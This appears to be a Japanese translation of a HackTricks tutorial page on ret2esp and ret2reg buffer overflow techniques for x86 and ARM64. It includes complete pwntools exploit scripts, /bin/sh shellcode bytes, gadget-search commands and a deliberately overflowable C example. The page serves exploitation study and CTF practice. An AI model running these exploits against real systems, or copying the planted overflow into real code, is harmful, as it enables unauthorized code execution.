Ret2esp / Ret2reg

AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Ret2esp

ESP(スタックポインタ)は常にスタックの先頭を指すため、このテクニックはEIP(命令ポインタ)を**jmp espまたはcall esp**命令のアドレスで置き換えることを含みます。これにより、シェルコードが上書きされたEIPの直後に配置されます。ret命令が実行されると、ESPは次のアドレスを指し、つまりシェルコードが格納されている場所を指します。

WindowsまたはLinuxで**アドレス空間配置のランダム化(ASLR)**が有効でない場合、共有ライブラリで見つかるjmp espまたはcall esp命令を使用することが可能です。ただし、ASLRが有効な場合、これらの命令を脆弱なプログラム内で探す必要があります(かつPIEを打破する必要があるかもしれません)。

さらに、シェルコードをEIPの破損後に配置できることは、スタックの中央ではなく後ろに配置することを意味し、関数の動作中に実行されるpushまたはpop命令がシェルコードに干渉しないようにします。シェルコードが関数のスタックの中央に配置された場合、この干渉が発生する可能性があります。

スペースが不足している場合

RIPを上書きした後に書き込むスペースが不足している場合(たとえば数バイトしかない場合)、最初の**jmp**シェルコードを書き込んでください。

sub rsp, 0x30
jmp rsp

そして、シェルコードをスタックの早い段階に書き込みます。

このテクニックの例は、https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp にあり、最終的なエクスプロイトは次のようになります:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

別のこの技術の例をhttps://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.htmlで見ることができます。NXが有効でないバッファオーバーフローがあり、$espのアドレスを減少させるためのガジェットが使用され、その後jmp esp;がシェルコードにジャンプします。

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

同様に、シェルコードが格納されているアドレスを返す関数がわかっている場合、call eax または jmp eax 命令(ret2eax テクニックとして知られています)を利用して、シェルコードを実行する別の方法が提供されます。eaxと同様に、興味深いアドレスを含む他のレジスタを使用することもできます(ret2reg)。

ここでいくつかの例を見つけることができます:

ARM64

Ret2sp

ARM64では、SPレジスタにジャンプする命令は存在しません。SPをレジスタに移動させ、その後そのレジスタにジャンプするガジェットを見つけることができるかもしれませんが、私のkaliのlibcにはそのようなガジェットが見つかりませんでした。

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

見つけた唯一のものは、sp がコピーされるレジストリの値を変更してからジャンプするものでした(そのため、それは無効になります):

Ret2reg

もしレジストリに興味深いアドレスがある場合、適切な命令を見つけるだけでそれにジャンプすることが可能です。次のようなものを使用できます:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

ARM64では、関数の戻り値は**x0**に格納されるため、x0がユーザーによって制御されたバッファのアドレスを格納し、実行するシェルコードを含む可能性があります。

例のコード:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

関数の逆アセンブリをチェックすると、バッファへのアドレス(bofに脆弱であり、ユーザーによって制御されている)が、バッファオーバーフローから戻る前に**x0に格納されている**ことがわかります:

また、do_stuff 関数内で br x0 ガジェットを見つけることも可能です:

バイナリがPIEなしでコンパイルされているため、そのガジェットをジャンプ先として使用します。パターンを使用すると、バッファオーバーフローのオフセットが80であることがわかります。したがって、エクスプロイトは次のようになります:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

もしfgetsの代わりに**readのようなものが使われていたら、PIEをバイパスすることが可能であり、リターンアドレスの最後の2バイトのみを上書きして、完全なアドレスを知る必要なくbr x0;命令に戻ることができたでしょう。 fgetsでは、それが末尾にヌル(0x00)バイトを追加**するため、うまくいきません。

保護

  • NX: スタックが実行不可であれば、シェルコードをスタックに配置して実行するためにジャンプする必要があるため、これは役立ちません。

  • ASLR & PIE: これらは、espや他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。

参考文献

**htARTE (HackTricks AWS Red Team Expert)**で **ゼロからヒーローまでAWSハッキングを学びましょう**

HackTricksをサポートする他の方法:

Last updated